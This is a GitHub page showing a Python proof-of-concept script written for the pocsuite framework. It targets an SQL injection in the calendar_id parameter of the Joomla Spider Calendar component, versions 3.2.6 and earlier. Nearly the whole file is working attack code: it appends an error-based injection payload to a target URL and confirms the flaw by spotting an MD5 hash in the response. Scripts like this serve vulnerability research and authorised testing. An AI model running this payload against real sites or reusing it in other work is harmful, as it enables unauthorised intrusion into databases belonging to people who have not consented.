-
Notifications
You must be signed in to change notification settings - Fork 52
/
Copy pathJoomla Spider Calendar _= 3.2.6 - SQL Injection.py
executable file
·94 lines (39 loc) · 1.59 KB
/
Joomla Spider Calendar _= 3.2.6 - SQL Injection.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python
# -*- coding:utf-8 -*-
from pocsuite.net import req
from pocsuite.poc import Output, POCBase
from pocsuite.utils import register
class TestPOC(POCBase):
vulID = '87242'
version = '1'
vulDate = '2014-08-31'
author = 'anonymous'
createDate = '2015-09-30'
updateDate = '2015-09-30'
references = ['http://www.sebug.net/vuldb/ssvid-87242']
name = 'Joomla Spider Calendar SQL Injection'
appPowerLink = 'http://extensions.joomla.org/extensions/calendars-a-events/events/events-calendars/22329'
appName = 'Joomla Spider Calendar Component'
appVersion = '<= 3.2.6'
vulType = 'SQL Injection'
desc = 'Joomla Spider Calendar Component SQL Injection in index.php, calendar_id param'
samples = ['']
def _attack(self):
return self._verify()
def _verify(self, verify=True):
result = {}
payload = '||exp(~(select*from(select md5(456546))a))'
vul_url = '%s/index.php?option=com_spidercalendar&view=spidercalendar&calendar_id=1' % self.url
response = req.get(vul_url + payload).content
if 'e02f052b7d3db73f99d4f5801f2b6fff' in response:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = self.url
return self.parse_attack(result)
def parse_attack(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('failed')
return output
register(TestPOC)